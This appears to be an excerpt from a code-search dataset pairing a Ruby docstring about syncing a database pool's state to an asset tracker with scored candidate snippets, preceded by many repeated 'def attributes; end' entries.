"score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" }, { "docid": "95ffebd9cbd702368807cff490fedf3e", "score": "0.618224", "text": "def attributes; end", "title": "" } ]
3d8c44fefe8af8057c6847f80beeb73c
Informs your asset tracker about any changes in the pool's state or members. Plugins should override this, or use before_sync_configuration / after_sync_configuration callbacks, to provide an implementation of this method.
[ { "docid": "92bf7d064152c807d031c705f6d0d9d0", "score": "0.51791734", "text": "def sync_configuration\n end", "title": "" } ]
[ { "docid": "9217ae6641a3de614b4fd3694400f5a4", "score": "0.6334928", "text": "def update_pool_info\n\t\t# make sure the pool is active and refresh its stats\n\t\tinit\n\t\t@pool.refresh\n\n\t\t# save stats to pool object\n\t\tdivide_to_gigabytes = (1024 * 1024 * 1024).to_f\n\t\tself.allocation = (@pool.info.allocation.to_f / divide_to_gigabytes).to_f\n\t\tself.available = (@pool.info.available.to_f / divide_to_gigabytes).to_f\n\t\tself.capacity = (@pool.info.capacity.to_f / divide_to_gigabytes).to_f\n\t\tself.state = @pool.info.state\n\t\tself.num_of_volumes = @pool.num_of_volumes\n\tend", "title": "" }, { "docid": "cd55bd624a1438f704d6ffbe12bdf0f7", "score": "0.5574401", "text": "def on_update &block\n update_procs.push block\n end", "title": "" }, { "docid": "83ad3184ab70c71416847760533499e5", "score": "0.55558735", "text": "def update_status\n asset.assign!\n end", "title": "" }, { "docid": "62cbb1fcfccfcd884aaa1fa3d7b8ffa7", "score": "0.55102676", "text": "def before_sync_configuration\n unless Jetpants.topology.pools.include? self\n Jetpants.topology.pools << self\n end\n end", "title": "" }, { "docid": "d6967ebd0c12e400a4256b0c1aa264e3", "score": "0.5492968", "text": "def runFinal()\n @alterHistory.push(@readyPool) if(!@readyPool.empty?) ;\n super() ;\n end", "title": "" }, { "docid": "43056029fbb53357478a0cd526573381", "score": "0.5461838", "text": "def on_update &block\n p_update_procs.push block\n end", "title": "" }, { "docid": "dd6a608118d9f7793c8e82f08f7c5ec3", "score": "0.5457486", "text": "def update\n super\n @observing_procs.values.each { |block| block.call(item) }\n end", "title": "" }, { "docid": "dd6a608118d9f7793c8e82f08f7c5ec3", "score": "0.5457486", "text": "def update\n super\n @observing_procs.values.each { |block| block.call(item) }\n end", "title": "" }, { "docid": "34ca37a10f3d9c98c54101af86e734c4", "score": "0.54473656", "text": "def configuration_modified\n end", "title": "" }, { "docid": "34ca37a10f3d9c98c54101af86e734c4", "score": "0.54473656", "text": "def configuration_modified\n end", "title": "" }, { "docid": "34ca37a10f3d9c98c54101af86e734c4", "score": "0.54473656", "text": "def configuration_modified\n end", "title": "" }, { "docid": "9f2a7b72e57c2b5dae9371f74a3e0f27", "score": "0.54447085", "text": "def postUpdate()\n @state = concatStateOfDependencies() if @state and (not @dependencies.empty?)\n end", "title": "" }, { "docid": "545f4954957ca90d5e1cec891ea42946", "score": "0.53962094", "text": "def after_update() end", "title": "" }, { "docid": "545f4954957ca90d5e1cec891ea42946", "score": "0.53962094", "text": "def after_update() end", "title": "" }, { "docid": "a57b96cf613bbebf04ce623205ffa1a4", "score": "0.5385187", "text": "def update\n @changed = true\n end", "title": "" }, { "docid": "303b55fc85d07fe7cdd68cf4e833c796", "score": "0.53490484", "text": "def config_change\n _config_change\n end", "title": "" }, { "docid": "d958392d9d60a1813f4863f89e291923", "score": "0.5331432", "text": "def notify_of_state_change\n @current_state.objs.each do |obj|\n\tobj.state_change\n end\n end", "title": "" }, { "docid": "f67caa9534439581d6b7cd0be3302197", "score": "0.53154933", "text": "def update_node_information\n\t\t\t\tpublish(\"#{@service_name}_nodes\", @nodes)\n\t\t\tend", "title": "" }, { "docid": "0f4c7591509a0e177f025812d7ab6d35", "score": "0.5290717", "text": "def track_modification!\n @modifications ||= [false]\n @modifications[@modifications.size-1] = true\n end", "title": "" }, { "docid": "171f8f1393de498115856f989f0b362d", "score": "0.52627164", "text": "def sync_named_configuration_state\n super\n end", "title": "" }, { "docid": "11d28ee57df5e5266f81f8dfee592028", "score": "0.5237763", "text": "def notify_observers(*arg)\n if defined? @observer_state and @observer_state\n if defined? @observer_peers\n @observer_peers.dup.each do |i|\n i.update(*arg)\n end\n end\n @observer_state = false\n end\n end", "title": "" }, { "docid": "c9963be145a9c19ebfa159907c080b47", "score": "0.52177626", "text": "def notify\n changed(true)\n notify_observers(self)\n end", "title": "" }, { "docid": "c51c854a4dad938b2d8657ce7aa9691b", "score": "0.52134854", "text": "def mark_council_as_updated\n council.update_attribute(:updated_at, Time.now) if council\n end", "title": "" }, { "docid": "82a71a30a329924fd2066e070379d943", "score": "0.5199047", "text": "def notify\n changed(true)\n notify_observers(self)\n end", "title": "" }, { "docid": "aede1f0148ed3b443743e3b8d82d8335", "score": "0.518831", "text": "def update_tracker_data\n @tracker.global_pools = functional_partitions.map &:to_hash\n @tracker.shards = shards.reject {|s| s.state == :recycle}.map &:to_hash\n @tracker.save\n end", "title": "" }, { "docid": "41002a60fb8d6262af0d279cb66b97d1", "score": "0.51794684", "text": "def on_change\n notifier = INotify::Notifier.new\n notifier.watch(@state_file, :modify) do\n yield\n end\n notifier.run\n end", "title": "" }, { "docid": "7aacfc178c7eb4f93a8c4ede3dbbe13a", "score": "0.51541936", "text": "def update\n # Remember which objects were previously active\n previously_active = @active_objects.clone\n # Deactivate all objects to avoid keeping stale objects active\n deactivate_all\n # Poll all of the sources (in order) to update all objects and determine\n # the active set\n @sources.each do |source|\n source.refresh\n source.update self\n end\n # If any new objects were activated in this session, publish an\n # `activate` event\n (@active_objects - previously_active).each do |identifier|\n fire(:activate, @storage.find(identifier))\n end\n # Do the same for any objects that are no longer active\n (previously_active - @active_objects).each do |identifier|\n fire(:deactivate, @storage.find(identifier))\n end\n # Publish update events for each currently active object\n @active_objects.each do |identifier|\n fire(:update, @storage.find(identifier))\n end\n end", "title": "" }, { "docid": "e8f3713af0b2bad1e870c2b80bc14a1c", "score": "0.5151062", "text": "def apply_changes(round)\n if value_changed?\n @register.apply_changes\n @centrality.update_centrality(size, round)\n end\n end", "title": "" }, { "docid": "8552a0217f36971556c2738128649712", "score": "0.51510507", "text": "def update!(**args)\n @slot_pool = args[:slot_pool] if args.key?(:slot_pool)\n end", "title": "" }, { "docid": "3cc18fea7f7a1cf34bd44aec24c5afe2", "score": "0.5149448", "text": "def propagate_changes_to_resource_pool_on_changed_possession\n owner_change = self.changes[:owner_id]\n if !owner_change.blank?\n old_owner = owner_change[0].nil? ? nil : Fundamental::Character.find_by_id(owner_change[0])\n new_owner = owner_change[1].nil? ? nil : Fundamental::Character.find_by_id(owner_change[1])\n\n GameRules::Rules.the_rules().resource_types.each do |resource_type|\n propagate_change_of_attribute_to_resource_pool_on_changed_possession(old_owner, new_owner, resource_type[:symbolic_id].to_s() + '_production_rate')\n propagate_change_of_attribute_to_resource_pool_on_changed_possession(old_owner, new_owner, resource_type[:symbolic_id].to_s() + '_capacity')\n end\n\n old_owner.resource_pool.save unless old_owner.nil?\n new_owner.resource_pool.save unless new_owner.nil?\n end\n true\n end", "title": "" }, { "docid": "4a4dfa73edbb5a43a7587f99f00ef2b9", "score": "0.5146878", "text": "def configure!\n\t\t\tyield(bank)\n\t\t\t# bank.update\n\t\tend", "title": "" }, { "docid": "7bedb7030c32c03afd7721cb807add8a", "score": "0.51434714", "text": "def update!(**args)\n @node_pools = args[:node_pools] if args.key?(:node_pools)\n end", "title": "" }, { "docid": "7bedb7030c32c03afd7721cb807add8a", "score": "0.51434714", "text": "def update!(**args)\n @node_pools = args[:node_pools] if args.key?(:node_pools)\n end", "title": "" }, { "docid": "1ec18d900359762f3fd0abde516cc150", "score": "0.5143116", "text": "def changes_complete\n notify_observers\n end", "title": "" }, { "docid": "7b97010ec17abf754b1ef6066b129fc4", "score": "0.5137244", "text": "def notify\n\t\t@observers.each do |o|\n\t\t\to.update\n\t\tend\n\tend", "title": "" }, { "docid": "274b80b4500b342f513b742cd134534a", "score": "0.5123313", "text": "def touch_caches_as_needed\n if changed.include? \"active\"\n role_assignments.each { |ra| ra.touch }\n group_memberships.each { |gm| gm.touch }\n organizations.each { |org| org.touch }\n end\n end", "title": "" }, { "docid": "d502d78538c178b37216b8fb04a3cfe6", "score": "0.51154923", "text": "def update_config!\n end", "title": "" }, { "docid": "2ddd30c0f53c916b7bcf435ad6935d41", "score": "0.51001567", "text": "def before_update() end", "title": "" }, { "docid": "2ddd30c0f53c916b7bcf435ad6935d41", "score": "0.51001567", "text": "def before_update() end", "title": "" }, { "docid": "bad537d4c0787f883f32ea03ada13697", "score": "0.5089627", "text": "def custom_counter_cache_before_update\n # ensuring that active_members count is updated correctly\n if self.active_changed?\n if active\n # increase active members count on projects\n increment_projects_members_counter\n else\n # became inactive - need do decrease active member count on projects\n decrement_projects_members_counter\n end\n end\n end", "title": "" }, { "docid": "094c64cd9703bf652774ba574721b84e", "score": "0.5087342", "text": "def state_changed\n\t\tend", "title": "" }, { "docid": "696def90ab1bfa93f241a8edcea38c57", "score": "0.50837445", "text": "def mark_config_dirty\n @update_required = true\n end", "title": "" }, { "docid": "f44db26699e945aee681212ec78c6bda", "score": "0.50773877", "text": "def did_update\n trigger_events(:update)\n end", "title": "" }, { "docid": "3fb884994b4514fca70007f3757953a5", "score": "0.5052803", "text": "def making_critical_changes!\n @critical_changes_made = true\n end", "title": "" }, { "docid": "b78bcd4cbba976cd922a9242604937f6", "score": "0.50504667", "text": "def update_pool(pool)\n addpool(pool[:url], pool[:user], pool[:pass]) # Add the new one\n pools = self.pools\n new = pools.last\n new[:priority], pools[pool[:id]][:priority] = pools[pool[:id]][:priority], new[:priority]\n order = pools.sort { |a, b| a[:priority] <=> b[:priority] }.map { |p| p[:pool] }\n poolpriority(*order) # Change pool priorities\n disablepool(pool[:id]) # Disable the old pool\n sleep(0.5) # Todo: nasty hack...\n removepool(pool[:id]) # Remove the old pool\n end", "title": "" }, { "docid": "2be1e9a8ec4e5fadfb0795ca289d8dd7", "score": "0.50458956", "text": "def update_settings\n end", "title": "" }, { "docid": "5184edec8701a849dd3459438f02bece", "score": "0.50390846", "text": "def updated()\n self.updateHistory()\n end", "title": "" }, { "docid": "7942c1738da58010f86751e048dd772d", "score": "0.50287664", "text": "def record_stats_update(frequency, timestamp = Time.now)\n ConfigVariable[[\"updated.portfolio.stats\", frequency]] = timestamp\n end", "title": "" }, { "docid": "1f9920ead0b7e9d5ed7d523960da874e", "score": "0.5025909", "text": "def notify_finished_configuring\n NewRelic::Agent.instance.events.notify(:initial_configuration_complete)\n end", "title": "" }, { "docid": "a7122cb29d9c69d8d16bae50ffafc318", "score": "0.502467", "text": "def after_update\n end", "title": "" }, { "docid": "ec1db04101dfbd338d3422c45219f2a3", "score": "0.50208783", "text": "def call\n catch_signals\n show_repository\n auto_update\n clear_caches\n\n Smeagol::App.set(:git, config.git)\n Smeagol::App.set(:repositories, config.repositories)\n Smeagol::App.set(:cache_enabled, config.cache_enabled)\n Smeagol::App.set(:mount_path, config.mount_path)\n Smeagol::App.run!(:port => config.port)\n end", "title": "" }, { "docid": "75e5d028c3d51f172c0d262fb1866cbf", "score": "0.5020013", "text": "def log_state_change; end", "title": "" }, { "docid": "d32c67f3dc6e9259532eb53ca2da8dae", "score": "0.50046766", "text": "def balance_changed()\n\t\tend", "title": "" }, { "docid": "6658720b7c61cdf314ef360e79a683fa", "score": "0.49897012", "text": "def notify_on_changes!\n ensure_connection! { register_callback(notifier) }\n end", "title": "" }, { "docid": "4e251b0b4fe0a64bc13ca17c021edf17", "score": "0.49824688", "text": "def _after_update\n super\n @modified = false\n end", "title": "" }, { "docid": "518f4b9acb6aa41048a4205eda4c97be", "score": "0.49823663", "text": "def initialize\n\t\t@updated_trackers = []\n\t\t@updatepool = Tracker.where{updated_at < Time.now-86400}.all\n\tend", "title": "" }, { "docid": "8f2f2c5629d6fba6ec461ab4700b539b", "score": "0.4977513", "text": "def pool_to_be_updated\n if property.single_pool?\n property.pools.first\n else\n Pool.find(pool_id)\n end\n end", "title": "" }, { "docid": "acf9f22406ab3dc19fccaa930c32cb99", "score": "0.4974033", "text": "def update_gems\n source_info_cache.refresh true\n end", "title": "" }, { "docid": "71ee59bfd03f18061cb5c291a8fac231", "score": "0.4967215", "text": "def log_update\n metadata_changed = self.changed?\n if metadata_changed\n yield\n import_log.info(\"Updated Record # #{self.id} for Provider #{self.provider} and Identifier: #{self.identifier}\")\n end\n end", "title": "" }, { "docid": "46da8c37eb9f82c0b4f7b1416f7cd44e", "score": "0.4966555", "text": "def pool=(value)\n @property_flush[:pool] = value\n end", "title": "" }, { "docid": "e0bd2b1e130bb2dcba2cce7390329def", "score": "0.496562", "text": "def finalized_changes; end", "title": "" }, { "docid": "e0bd2b1e130bb2dcba2cce7390329def", "score": "0.496562", "text": "def finalized_changes; end", "title": "" }, { "docid": "3261ada687d0c5704652184ef85f3ada", "score": "0.49577275", "text": "def before_asynchronous_update\n end", "title": "" }, { "docid": "682d40545eafdbde4d7e6bb7faf1c7f9", "score": "0.49506435", "text": "def update\n url = repository_tracking_list_url(:id => @tracking_list,\n :repository_id => @repository)\n if params[:event]\n event = params[:event]\n original_state = @tracking_list.current_state\n\n options = { :tracking_list => @tracking_list }\n options[:urlified_name] = @site_basket.urlified_name if @current_basket.repositories.count < 1\n\n case event\n when 'allocate'\n # allocating means we need to choose shelf location before proceeding\n url = new_trackable_item_shelf_location_url(options)\n @successful = true\n when 'loan'\n # we need to collect information for a new or existing on_loan_organization\n url = new_on_loan_organization_url(options)\n @successful = true\n when 'clear_list'\n @tracking_list.clear_list!\n # we transition back to new in this case, so no change in state\n @successful = true\n else\n # otherwise, send the event as a method\n # to the tracking list\n @tracking_list.send(event + '!')\n @successful = @tracking_list.reload.current_state != original_state\n @state_change_failed = !@successful\n url = repository_tracking_list_url(:id => @tracking_list,\n :repository_id => @repository,\n :download_modal => true)\n end\n else\n # to handle large amount of matches that span paginated pages of results\n # we use ids in session to create tracked_items\n matching_class = session[:matching_class]\n matching_results_ids = session[:matching_results_ids]\n values = matching_results_ids.inject([]) do |value, matching_id|\n value << TrackedItem.new(:trackable_item_type => matching_class,\n :trackable_item_id => matching_id,\n :tracking_list_id => @tracking_list.id)\n value\n end\n\n @successful = TrackedItem.import(values)\n end\n\n if @successful || @state_change_failed\n clear_session_variables_for_list_building\n\n flash[:notice] = t('tracking_lists.update.state_change_failed', :event_transition => params[:event].humanize) if @state_change_failed\n\n redirect_to url\n else\n render :action => 'edit'\n end\n end", "title": "" }, { "docid": "aeaf65bb6aeeb48f98b704a7a932de8d", "score": "0.4946644", "text": "def stones_updated!\n recalculate_liberties!\n end", "title": "" }, { "docid": "90ba5f31df57d63d7b87d36095e02c9a", "score": "0.4943356", "text": "def update\n @info = get_info()\n end", "title": "" }, { "docid": "22f4742de88c283847cf12c15de98ffa", "score": "0.4939604", "text": "def update!(**args)\n @node_pool = args[:node_pool] if args.key?(:node_pool)\n end", "title": "" }, { "docid": "22f4742de88c283847cf12c15de98ffa", "score": "0.4939604", "text": "def update!(**args)\n @node_pool = args[:node_pool] if args.key?(:node_pool)\n end", "title": "" }, { "docid": "5c32453f4f193d995c75744702768e6e", "score": "0.49392906", "text": "def after_update(obj); end", "title": "" }, { "docid": "cb8763662bf747da958753f39fa3b9ee", "score": "0.49338967", "text": "def state_changed\n\t\t\tsend_each_player(:state_changed)\n\t\t\tsleep self.player_delay\n\t\t\t#print_players\n\t\tend", "title": "" }, { "docid": "ad3f36cdfcb8f3ce693449e4f546c0a2", "score": "0.49286872", "text": "def update\r\n @state.update\r\n end", "title": "" }, { "docid": "9b2c14f01cd4814a5a1cf3c895e76cb9", "score": "0.491963", "text": "def update\n Alphonse.logger.operation config[:update_description]\n prerequisite.push config[:update].map { |task| send(task) }\n end", "title": "" }, { "docid": "1da36480651d0577b68ecde3f5aeeea1", "score": "0.4917095", "text": "def flush\n tenant, ipnet_name = get_tenant_and_ipnet_name\n\n unless @property_flush.empty?\n # Update read/write property (pool)\n pool_prop = [\"-p\", \"pool=#{@property_flush[:pool]}\"]\n begin\n set_ipnet(tenant, ipnet_name, pool_prop)\n rescue Puppet::ExecutionFailure => e\n fail \"Cannot update the pool property. \\n\" \\\n \"#{e.inspect}\"\n end\n end\n\n # Synchronize all the SHOULD values to IS values\n @property_hash = resource.to_hash\n end", "title": "" }, { "docid": "9dc8602070e5492420078f73b26caf1c", "score": "0.4914365", "text": "def notify_state_changed\n\t\t\t@state_changed_callbacks.each { |callback| callback.call }\n\t\tend", "title": "" }, { "docid": "606df04d80c10b32f0ca957d9803bf28", "score": "0.49139383", "text": "def update_peers; end", "title": "" }, { "docid": "c338d98b8c6c484e82f3beb0980067f7", "score": "0.4913351", "text": "def refresh\n clear\n load_pools\n true\n end", "title": "" }, { "docid": "13ee39ce05b4bd8afb74175a5d8ad9f5", "score": "0.4913172", "text": "def mark_changed\n @changed = true\n end", "title": "" }, { "docid": "2f45e99c0b16146acc8edf4fdfbe25d2", "score": "0.49103558", "text": "def after_update(store)\n ProcessingQueue.push(\n StoreDelayedObserver,\n :after_update,\n store.id,\n :rehost => store.rehost,\n :reupdate_domain => store.reupdate_domain,\n :reupdate_metadata => store.reupdate_metadata) \n end", "title": "" }, { "docid": "db1bc0059ac42b2f49dd84cceb1c1dc1", "score": "0.4910042", "text": "def update\n @pool = Pool.find(params[:id])\n\n respond_to do |format|\n if @pool.update_attributes(params[:pool]) and @pool.sync\n format.html { redirect_to(@pool, :notice => 'Pool was successfully updated.') }\n format.json { render :json => @pool, :include => :image }\n format.xml { render :xml => @pool, :include => :image }\n else\n format.xml { render :xml => @pool.errors, :status => :unprocessable_entity }\n format.any { render :json => @pool.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43fb671a52082bd4d6921d12ce1a8c94", "score": "0.49079058", "text": "def update\n @state.update\n end", "title": "" }, { "docid": "6f803a4fc940c36e05ae0e736732c2c2", "score": "0.4903167", "text": "def update\n begin\n @log.info \"Polling account #{@name}...\"\n @collection_trackers.each {|tracker| tracker.update}\n @preceeding_update_time = @most_recent_update\n @most_recent_update = Time.now\n @log.info \"Polled account #{@name}\"\n @callback.call(all_resources) if @callback\n rescue Exception => e\n @log.error \"Exception polling account #{name}: #{e.message}\"\n e.backtrace.each {|line| @log.debug line}\n @error_proc.call(e) if @error_proc\n raise e\n end\n end", "title": "" }, { "docid": "6d07122484b5e36f05f163c1c75b86b6", "score": "0.49027565", "text": "def enter_in_sinking_state\n @update_callback = :update_enter_sinking_state\n @update_callback_count = 0\n end", "title": "" }, { "docid": "92d370d9d3de46be755396720e11e5c9", "score": "0.49026993", "text": "def before_update(store)\n if store.image_path_changed?\n store.rehost = true\n store.is_processed = false\n end\n\n store.reupdate_domain = store.is_approved_changed? && \n store.is_approved &&\n !store.domain_changed?\n\n store.reupdate_metadata = store.domain_changed? && \n store.domain.present?\n end", "title": "" }, { "docid": "0c40f1cfe9581e6edaf2e9b6f1b9c032", "score": "0.49026588", "text": "def enqueued!\n status_will_change!\n super\n end", "title": "" }, { "docid": "0c40f1cfe9581e6edaf2e9b6f1b9c032", "score": "0.49026588", "text": "def enqueued!\n status_will_change!\n super\n end", "title": "" }, { "docid": "46ee6e1be39af63ba7ea991bfd5fc511", "score": "0.4895516", "text": "def track_list_changed(sender)\n @player.refetch(sender)\n end", "title": "" }, { "docid": "19ed5da12c46cc745d5915037c1dcb62", "score": "0.4886293", "text": "def changed(state=true)\n @observer_state = state\n end", "title": "" }, { "docid": "0633f678ad0f0628cad397a982e3374b", "score": "0.48837686", "text": "def mark_changed(state=true)\n @eventful_observer_state = state\n end", "title": "" }, { "docid": "e2987c03a5abe3fead2c60f1dfb8f50c", "score": "0.48831356", "text": "def notify_player_if_provider\n @mc.track_list_changed(self) if track_provider?\n end", "title": "" }, { "docid": "45263ec2f7c0d1aa17e7c73d01055b65", "score": "0.4881907", "text": "def update!(**args)\n @allocated_asset_count = args[:allocated_asset_count] if args.key?(:allocated_asset_count)\n @allocated_regions = args[:allocated_regions] if args.key?(:allocated_regions)\n @node_allocations = args[:node_allocations] if args.key?(:node_allocations)\n end", "title": "" }, { "docid": "45263ec2f7c0d1aa17e7c73d01055b65", "score": "0.4881907", "text": "def update!(**args)\n @allocated_asset_count = args[:allocated_asset_count] if args.key?(:allocated_asset_count)\n @allocated_regions = args[:allocated_regions] if args.key?(:allocated_regions)\n @node_allocations = args[:node_allocations] if args.key?(:node_allocations)\n end", "title": "" }, { "docid": "2d466c3d808dd50247d439085ba8bdf0", "score": "0.4877468", "text": "def update\n @pool.assign_attributes(pool_params)\n ask_for_permission(@pool, 'update_pool') and return if current_user.cannot 'update_pool'\n # Extract category, if given\n category = params[:pool][:category]\n unless category.nil?\n @pool.category_type, @pool.category_id = category.split(':')\n end\n if @pool.save\n are_saved = update_balances(@pool)\n else\n are_saved = [false]\n end\n respond_to do |format|\n if are_saved.all?\n format.html { redirect_back pools_url, success: @pool.table_name_to_show.concat(' fue actualizado satisfactoriamente.') }\n format.json { render :show, status: :ok, location: @pool }\n format.js { render 'layouts/update' }\n else\n format.html { render :edit }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07ef36661a6ac3121102a2a3779a2e3c", "score": "0.4876068", "text": "def _trigger_update_callback; end", "title": "" }, { "docid": "f25ef69a8c7ab279d310f6a027d7a929", "score": "0.4875942", "text": "def notify_will_change!\n collection_will_change!\n forward \"#{@key}_will_change!\"\n end", "title": "" }, { "docid": "fd7f9bced66136bccde3f2371690f187", "score": "0.48749536", "text": "def on_update(&block)\n @on_update_forwarder = OnUpdateForwarder.new(block)\n end", "title": "" }, { "docid": "89e59ef239d16c38d7a2b3ae9ff23b7b", "score": "0.48720545", "text": "def update_internal\n # Does nothing\n end", "title": "" }, { "docid": "5c97910037d481d117950ac913dd2a6b", "score": "0.4870052", "text": "def setup\n super\n\n notify_change('copier_started', @component_name)\n end", "title": "" }, { "docid": "bdf20475c4a98d58b57e7761c33bfb18", "score": "0.48669282", "text": "def for_update\n @for_update = true\n end", "title": "" }, { "docid": "2473538a12b282cd3be6a5f5cf031cd2", "score": "0.4865617", "text": "def update_config\n unless !@sender.adm.avlconn\n @sender.adm.reload_file\n end\n end", "title": "" }, { "docid": "cb2162d3a1fd3434effd12aa702f250f", "score": "0.48651025", "text": "def update() end", "title": "" } ]
60df017c884ff186df44e665828bb0b2
Set searchd host name (string) and port (integer).
[ { "docid": "446cff7c9271286cc6e5aa1f573a4532", "score": "0.66592705", "text": "def SetServer(host, port)\n assert { host.instance_of? String }\n assert { port.instance_of? Fixnum }\n\n @host = host\n @port = port\n end", "title": "" } ]
